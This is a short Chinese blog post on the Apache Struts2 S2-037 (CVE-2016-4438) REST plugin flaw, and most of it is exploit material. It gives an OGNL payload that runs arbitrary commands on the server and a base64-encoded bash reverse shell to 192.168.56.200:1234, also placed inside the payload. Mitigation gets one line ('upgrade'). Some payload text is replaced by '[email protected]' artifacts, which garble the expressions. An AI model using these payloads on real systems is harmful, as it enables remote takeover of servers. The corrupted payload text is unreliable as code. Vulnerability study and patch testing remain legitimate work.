漏洞名称
S2-037 CVE-2016-4438 远程代码执行
利用条件
Struts 2.3.20 - Struts Struts 2.3.28.1
使用了REST插件
漏洞原理
Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。
rest介绍:
使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用
攻击者可以使用REST插件调用恶意表达式实现远程执行代码
当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等
在开启 devMode 情况下,本漏洞可影响 Struts 2.1.0--2.5.1
漏洞利用
命令执行
payload
#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=ls /
command=执行命令
编码后发送请求
反弹shell
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
修复建议
升级最新版
参考文章
https://www.cnblogs.com/CoLo/p/12981291.html
https://cwiki.apache.org/confluence/display/WW/S2-037
标签:2016,远程,command,代码执行,apache,org,ros,4438 From: https://www.cnblogs.com/crayonxiaoxin/p/17047629.html